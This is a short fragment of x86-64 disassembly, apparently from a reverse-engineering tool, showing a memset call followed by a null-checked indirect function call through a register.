call sub.msvcrt.dll_memset
test r13, r13
je 0x41578f
mov rcx, rbx
call r13
jmp 0x41578f